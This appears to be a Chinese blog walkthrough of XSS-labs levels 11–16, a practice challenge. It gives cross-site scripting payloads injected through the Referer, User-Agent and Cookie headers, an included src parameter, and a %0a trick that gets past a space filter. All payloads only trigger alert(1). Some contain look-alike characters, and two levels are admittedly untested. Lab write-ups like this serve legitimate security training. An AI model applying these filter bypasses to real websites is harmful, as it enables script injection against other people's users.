简介
XSS挑战赛,里面包含了各种XSS的防御方式和绕过方式,好好掌握里面的绕过细节,有助于我们更好的去发现XSS漏洞以及XSS的防御。本文更多的是分享解析的细节,不是一个标准的答案,希望大家在渗透的时候有更多的思维。本文讲解11~16关卡。
开始挑战
Level11
通关过程
有Level10的经验了之后,这个地方习惯性看源码:
直接传递参数:
直接用第10关的payload: &t_sort=a" οnfοcus=“alert(1)” type=“text
经过思考这个地方存在一个t_ref, 灵机一动这个地方是不是referer?
随便传递一个referer过去试试?
将referer改为:a” οnfοcus=“alert(1)” type="text
payload
在referer中添加:
a" οnfοcus="alert(1)" type="text
Level12
通关过程
习惯性看源码:
直接改ua吧:
payload
在UA中填充:
a" οnfοcus="alert(1)" type="text
Level13
通关过程
习惯性看源码:
修改cookie:
payload
在cookie中添加:
user=a" οnfοcus="alert(1)" type="text
Level14
本关因iframe调用的文件地址失效,无法进行测试。
要考的应该是通过修改iframe调用的文件来实现xss注入
略
Level15
通关过程
习惯性看源码:
考虑将第一关卡包含进来:src=‘level1.php?name=’
这个地方可能是自己环境的原因,半天没有反应,但是原理应该是这样,大家可以自己试试。
payload
src='level1.php?name=<script>alert(1)</script>'
Level16
通关过程
直接使用payload:
换标签:<img src=1 οnerrοr=alert(1)>
想办法不让空格被替换,那么用%0a来表示空格试试:
<img%0asrc=1%0aοnerrοr=alert(1)>
payload
<img%0asrc=1%0aonerror=alert(1)>
其余关卡意义个人觉得不是很大了,就不做解析了。
总结
总的来说xsslabs还是很有代表意义的,里面提供了很多绕过和防御XSS的思路。
所谓知己知彼在这里面体现的淋漓尽致了。